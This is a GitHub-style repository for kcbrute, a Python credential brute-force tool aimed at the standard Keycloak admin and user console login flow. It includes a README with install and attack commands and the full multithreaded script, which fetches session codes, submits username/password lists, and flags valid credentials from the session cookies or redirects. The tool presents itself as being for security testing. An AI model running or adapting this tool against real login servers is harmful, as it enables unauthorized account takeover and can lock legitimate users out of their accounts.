├── LICENSE
├── README.md
├── kcbrute.py
└── requirements.txt
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2025 Panagiotis Chartas (t3l3machus)
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | [](https://www.python.org/)
2 |
3 |
4 | [](https://github.com/t3l3machus/kcbrute/blob/main/LICENSE)
5 |
6 |
7 | ## Purpose
8 | Basic brute-force script targeting the standard Keycloak Admin/User Console browser login flow.
9 | 
10 |
11 | #### ❗Disclaimer
12 | This script may temporarily and/or permanently lock user accounts if **brute force detection** is enabled on the target Keycloak server. Unauthorized use is illegal. Created For security testing purposes only. You are responsible for your actions.
13 |
14 | ## Installation
15 | ```
16 | git clone https://github.com/t3l3machus/kcbrute && cd kcbrute && pip3 install -r requirements.txt
17 | ```
18 |
19 |
20 | ## Usage
21 | 1. Copy the full URL of the target keycloak server you wish to attack. It typically looks something like this:
22 | ```
23 | https://192.168.1.51:8443/realms/master/protocol/openid-connect/auth?client_id=security-admin-console&redirect_uri=https%3A%2F%2F192.168.1.51%3A8443%2Fadmin%2Fmaster%2Fconsole%2F&state=d47a2004-6749-4651-8955- ae1bd290ad82&response_mode=query&response_type=code&scope=openid&nonce=42c82af0-fb83-4211-90b6-6404226bb092&code_challenge=xqljsSmaLXaBRzouH6LhEq7PaomvhUDE-bNeHSCRd_U&code_challenge_method=S256
24 | ```
25 | **Important**: If you have visited the login URL in the past, delete all cookies and perform a hard refresh (`CTRL + SHIFT + R`) before copying the URL.
26 |
27 | 2. Fire up `kcbrute` providing the login URL, username and password lists of your choice:
28 | ```
29 | python3 kcbrute.py -v -l 'https://192.168.1.51:8443/realms/master/protocol/openid-connect/auth?client_id=security-admin-console&redirect_uri=https%3A%2F%2F192.168.1.51%3A8443%2Fadmin%2Fmaster%2Fconsole%2F&state=d47a2004-6749-4651-8955-ae1bd290ad82&response_mode=query&response_type=code&scope=openid&nonce=42c82af0-fb83-4211-90b6-6404226bb092&code_challenge=xqljsSmaLXaBRzouH6LhEq7PaomvhUDE-bNeHSCRd_U&code_challenge_method=S256' -u usernames.txt -p passwords.txt
30 | ```
31 |
32 | ### Supported options:
33 | ```
34 | usage: kcbrute.py [-h] -l LOGIN_URL -u USERNAMES_FILE -p PASSWORDS_FILE [-t THREADS] [-r] [-s] [-q] [-v]
35 |
36 | Basic brute-force script targeting the standard Keycloak Admin/User Console browser login flow.
37 |
38 | options:
39 | -h, --help show this help message and exit
40 |
41 | BASIC OPTIONS:
42 | -l LOGIN_URL, --login-url LOGIN_URL
43 | Full Keycloak OpenID Authorization Endpoint URL to attack (Typically something like: https://keycloak.example.com/realms/{REALM}/protocol/openid-
44 | connect/auth?client_id={CLIENT_ID}&redirect_uri={REDIRECT_URI}&state={UUID}&response_mode={MODE}&response_type={TYPE}&scope=openid&nonce={UUID}&code_challenge={TOKEN}&code_challenge_method={TYPE} ).
45 | -u USERNAMES_FILE, --usernames-file USERNAMES_FILE
46 | File containing a usernames list.
47 | -p PASSWORDS_FILE, --passwords-file PASSWORDS_FILE
48 | File containing a passwords list.
49 | -t THREADS, --threads THREADS
50 | Number of threads to use.
51 | -r, --accept-risk By selecting this option, you consent to attacking the host.
52 | -s, --success-stop Stop upon finding a valid pair.
53 |
54 | OUTPUT:
55 | -q, --quiet Do not print the banner on startup.
56 | -v, --verbose Verbose output.
57 |
58 | ```
59 |
60 |
--------------------------------------------------------------------------------
/kcbrute.py:
--------------------------------------------------------------------------------
1 | import requests, re, argparse, validators, os, threading, concurrent.futures, urllib3
2 | from bs4 import BeautifulSoup
3 | from urllib.parse import urlparse, parse_qs
4 | from requests.exceptions import ConnectionError
5 | from pathlib import Path
6 | from time import sleep
7 |
8 | # Suppress InsecureRequestWarning
9 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
10 |
11 | ''' Colors '''
12 | MAIN = '\033[38;5;50m'
13 | GREEN = '\033[38;5;82m'
14 | ORNG = '\033[0;38;5;214m'
15 | PURPLE = '\033[0;38;5;141m'
16 | RED = '\033[1;31m'
17 | RST = '\033[0m'
18 | BOLD = '\033[1m'
19 | GR = '\033[38;5;244m'
20 | INPUT = f'[{ORNG}!{RST}]'
21 | SCS = f'[{GREEN}Success{RST}]'
22 | INFO = f'[{MAIN}Info{RST}]'
23 | INV = f'[{GR}Invalid{RST}]'
24 | ERR = f'[{RED}Error{RST}]'
25 | DEBUG = f'[{ORNG}Debug{RST}]'
26 | OOPS = f'[{RED}Oops!{RST}]'
27 |
28 |
29 | def do_nothing():
30 | pass
31 |
32 |
33 | def is_valid_url(url):
34 | return validators.url(url)
35 |
36 |
37 | def debug(msg):
38 | print(f'{DEBUG} {msg}')
39 | exit(1)
40 |
41 | # -------------- Arguments -------------- #
42 | parser = argparse.ArgumentParser(
43 | description="Basic brute-force script targeting the standard Keycloak Admin/User Console browser login flow."
44 | )
45 | basic_group = parser.add_argument_group('BASIC OPTIONS')
46 | basic_group.add_argument("-l", "--login-url", action="store", help = "Full Keycloak OpenID Authorization Endpoint URL to attack (Typically something like: \nhttps://keycloak.example.com/realms/{REALM}/protocol/openid-connect/auth?client_id={CLIENT_ID}&redirect_uri={REDIRECT_URI}&state={UUID}&response_mode={MODE}&response_type={TYPE}&scope=openid&nonce={UUID}&code_challenge={TOKEN}&code_challenge_method={TYPE} ).", type = str, required = True)
47 | basic_group.add_argument("-u", "--usernames-file", action="store", help = "File containing a usernames list.", required = True)
48 | basic_group.add_argument("-p", "--passwords-file", action="store", help = "File containing a passwords list.", required = True)
49 | basic_group.add_argument("-t", "--threads", action="store", help = "Number of threads to use.", type = int)
50 | basic_group.add_argument("-r", "--accept-risk", action="store_true", help = "By selecting this option, you consent to attacking the host.")
51 | basic_group.add_argument("-s", "--success-stop", action="store_true", help = "Stop upon finding a valid pair.")
52 |
53 | output_group = parser.add_argument_group('OUTPUT')
54 | output_group.add_argument("-q", "--quiet", action="store_true", help = "Do not print the banner on startup.")
55 | output_group.add_argument("-v", "--verbose", action="store_true", help = "Verbose output.")
56 |
57 | args = parser.parse_args()
58 |
59 | login_url = args.login_url
60 |
61 | if not is_valid_url(login_url):
62 | debug('Invalid login_url.')
63 |
64 | # Threading
65 | if isinstance(args.threads, int):
66 | if args.threads <= 0:
67 | debug('Number of threads must be a positive integer.')
68 |
69 | max_threads = 10 if not args.threads else args.threads
70 | thread_limiter = threading.BoundedSemaphore(max_threads)
71 | stop_event = threading.Event()
72 | lock = threading.Lock()
73 | count = 0
74 |
75 | # Standard headers for the login requests
76 | gen_login_req_headers = {
77 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0",
78 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
79 | "Accept-Language": "en-US,en;q=0.5",
80 | "Accept-Encoding": "gzip, deflate, br",
81 | "Content-Type": "application/x-www-form-urlencoded"
82 | }
83 |
84 | session = requests.Session()
85 |
86 | # Not used, but might come in handy later
87 | # def parse_keycloak_url(url):
88 | # parsed_url = urlparse(url)
89 | # path_parts = parsed_url.path.strip("/").split("/")
90 |
91 | # # Extract protocol, host, port
92 | # protocol = parsed_url.scheme
93 | # hostname = parsed_url.hostname
94 | # port = parsed_url.port or (443 if protocol == "https" else 80)
95 |
96 | # # Extract realm and connect type
97 | # realm = path_parts[1] if len(path_parts) > 1 and path_parts[0] == "realms" else None
98 | # connect_type = path_parts[3] if len(path_parts) > 3 and path_parts[2] == "protocol" else None
99 |
100 | # # Extract query parameters
101 | # params = {key: value[0] for key, value in parse_qs(parsed_url.query).items()}
102 |
103 | # return {
104 | # "protocol": protocol,
105 | # "hostname": hostname,
106 | # "port": port,
107 | # "realm": realm,
108 | # "connect_type": connect_type,
109 | # "parameters": params
110 | # }
111 |
112 |
113 | def extract_login_action(html_data):
114 | # Extracts the 'action' attribute from the form with id 'kc-form-login' in an http response.
115 | soup = BeautifulSoup(html_data, "html.parser")
116 | form = soup.find("form", id="kc-form-login")
117 | return form["action"] if form and "action" in form.attrs else None
118 |
119 |
120 | def extract_session_code(url):
121 | # Extracts the value of the 'session_code' parameter from a URL.
122 | parsed_url = urlparse(url)
123 | query_params = parse_qs(parsed_url.query)
124 | return query_params.get("session_code", [None])[0]
125 |
126 |
127 | def get_file_contents(path):
128 | expanded_path = os.path.expanduser(path)
129 | if Path(expanded_path).exists():
130 | f = open(expanded_path, 'r')
131 | contents = f.read()
132 | f.close()
133 | return [w for w in contents.split('\n') if len(w)]
134 | else:
135 | False
136 |
137 |
138 | def login_request(action_url, username, passwd, cookies):
139 | try:
140 | data = {
141 | "username": f"{username}",
142 | "password": f"{passwd}",
143 | "credentialId": f""
144 | }
145 |
146 | res = session.post(action_url, verify = False, allow_redirects = False, headers = gen_login_req_headers, cookies = cookies, data = data)
147 | if res.status_code == 302:
148 | # Normal successful login indicator, for accounts without required actions set.
149 | if "Set-Cookie" in res.headers.keys():
150 | if 'KEYCLOAK_IDENTITY' in res.headers["Set-Cookie"]:
151 | print(f'{SCS} {BOLD}{username} : {passwd}{RST}')
152 | stop_event.set() if args.success_stop else do_nothing()
153 | return
154 | else:
155 | # In most cases, if required actions are set for an account, the Location header value can be used to identify a successful login
156 | required_user_actions = re.findall('login\\-actions\\/required\\-action\\?execution\\=(?:CONFIGURE_TOTP|UPDATE_PASSWORD|UPDATE_PROFILE|VERIFY_EMAIL|webauthn-register|webauthn-register-passwordless|update_user_locale|delete_credential)', res.headers["Location"])
157 | if required_user_actions:
158 | print(f'{SCS} {BOLD}{username} : {passwd}{RST} ({ORNG}required_user_action = {required_user_actions[0].split("execution=")[1]}{RST})')
159 | stop_event.set() if args.success_stop else do_nothing()
160 | return
161 | else:
162 | print(f'{INV} {GR}{username} : {passwd}{RST}') if (args.verbose and not stop_event.is_set()) else do_nothing()
163 |
164 | except Exception as e:
165 | print(F'{OOPS} Something went wrong: {e}')
166 |
167 |
168 | def kcbrute(username, passwd, login_url):
169 | if stop_event.is_set(): # Check if another thread found a valid pair (-s, --success-stop option)
170 | return
171 |
172 | thread_limiter.acquire()
173 |
174 | try:
175 | if 'KEYCLOAK_IDENTITY' in session.cookies:
176 | session.cookies.clear()
177 |
178 | # Retrieve a fresh session_code
179 | res = session.get(login_url, verify = False, allow_redirects = False)
180 | action_url = extract_login_action(res.text)
181 | if not action_url and not stop_event.is_set():
182 | print(f"{ERR} Failed to retrieve action_url.")
183 | return
184 |
185 | new_cookies = {}
186 |
187 | try:
188 | res_cookies = res.headers["Set-Cookie"].split(', ')
189 | res_cookies = [v.split(';')[0] for v in res_cookies]
190 | for c in res_cookies:
191 | tmp = c.split("=")
192 | # if tmp[0] not in ['KEYCLOAK_IDENTITY', 'KEYCLOAK_SESSION']:
193 | new_cookies[tmp[0]] = tmp[1]
194 |
195 | except Exception as e:
196 | print(f'{ERR} Failed to set new cookies')
197 |
198 | login_request(action_url, username, passwd, new_cookies)
199 |
200 | except KeyboardInterrupt:
201 | stop_event.set()
202 |
203 | except ConnectionError as e:
204 | print(f"{ERR} Failed to establish a connection: The requested address is not valid in its context.")
205 |
206 | except Exception as e:
207 | print(F'{OOPS} Something went wrong: {e}')
208 |
209 | finally:
210 | global count
211 | with lock:
212 | count += 1
213 | thread_limiter.release()
214 |
215 |
216 | def print_banner():
217 |
218 | K = [[' ', '┬','┌','┐'], [' ', '├','┴','┐'], [' ', '┴',' ','┴']]
219 | C = [[' ', '┌','─','┐'], [' ', '│', ' ',' ',], [' ', '└','─','┘']]
220 | B = [[' ', '┌','┐',' '], [' ', '├','┴','┐'], [' ', '└','─','┘']]
221 | R = [[' ', '┬','─','┐'], [' ', '├','┬','┘'], [' ', '┴','└','─']]
222 | U = [[' ', '┬',' ','┬'], [' ', '│',' ','│'], [' ', '└','─','┘']]
223 | T = [[' ', '┌','┬','┐'], [' ', ' ','│',' '], [' ', ' ','┴',' ']]
224 | E = [[' ', '┌','─','┐'], [' ', '├','┤',' '], [' ', '└','─','┘']]
225 |
226 | banner = [K,C,B,R,U,T,E]
227 | final = []
228 | print('\r')
229 | init_color = 31
230 | txt_color = init_color
231 | cl = 0
232 |
233 | for charset in range(0, 3):
234 | for pos in range(0, len(banner)):
235 | for i in range(0, len(banner[pos][charset])):
236 | clr = f'\033[38;5;{txt_color}m'
237 | char = f'{clr}{banner[pos][charset][i]}'
238 | final.append(char)
239 | cl += 1
240 | txt_color = txt_color + 36 if cl <= 3 else txt_color
241 |
242 | cl = 0
243 |
244 | txt_color = init_color
245 | init_color += 31
246 |
247 | if charset < 2: final.append('\n ')
248 |
249 | print(f" {''.join(final)}{RST}\n")
250 |
251 |
252 | def progress(attempts):
253 | while not stop_event.is_set():
254 | sleep(5)
255 | print(F'{INFO} Login attempts completed: {count}/{attempts} ')
256 |
257 |
258 | def main():
259 |
260 | try:
261 | print_banner() if not args.quiet else do_nothing()
262 |
263 | # Read the username and password files
264 | print(f'{INFO} Loading username and password lists.')
265 | usernames = get_file_contents(args.usernames_file)
266 | debug('Failed to read usernames file.') if not usernames else do_nothing()
267 | passwords = get_file_contents(args.passwords_file)
268 | debug('Failed to read usernames file.') if not passwords else do_nothing()
269 | users_count = len(usernames)
270 | passwds_count = len(passwords)
271 | attempts = users_count * passwds_count
272 |
273 | # Bruteforce attack
274 | print(f'{INFO} Number of usernames loaded:{RST} {users_count}')
275 | print(f'{INFO} Number of passwords loaded:{RST} {passwds_count}')
276 | print(f'{INFO} Estimated number of queued login attempts:{RST} {attempts}')
277 | print(f'{INFO} Number of threads:{RST} {max_threads}')
278 |
279 | # Consent
280 | if not args.accept_risk:
281 | con = input(f'{INPUT} This action may lock user accounts if brute force detection is enabled on the target server. Unauthorized use is illegal. Continue? [Y/n]: ')
282 | if con.strip().lower() not in ['y', 'yes']:
283 | exit(1)
284 |
285 | print(f'{INFO} Initiating Keycloak credential brute-force attack.')
286 | threading.Thread(target=progress, daemon = True, args=(attempts,)).start()
287 |
288 | with concurrent.futures.ThreadPoolExecutor(max_threads) as executor:
289 | for uname in usernames:
290 | for passwd in passwords:
291 | if stop_event.is_set():
292 | break
293 | executor.submit(kcbrute, uname, passwd, login_url)
294 |
295 | except KeyboardInterrupt:
296 | stop_event.set()
297 | print(f'\r{INFO} Stopping...')
298 |
299 | except Exception as e:
300 | print(f'{OOPS} Something went really wrong: {e}')
301 | exit(2)
302 |
303 | finally:
304 | print(f'{INFO} Attack completed.')
305 | exit(0)
306 |
307 |
308 | if __name__ == '__main__':
309 | main()
310 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | beautifulsoup4
2 | Requests
3 | urllib3
4 | validators
5 |
--------------------------------------------------------------------------------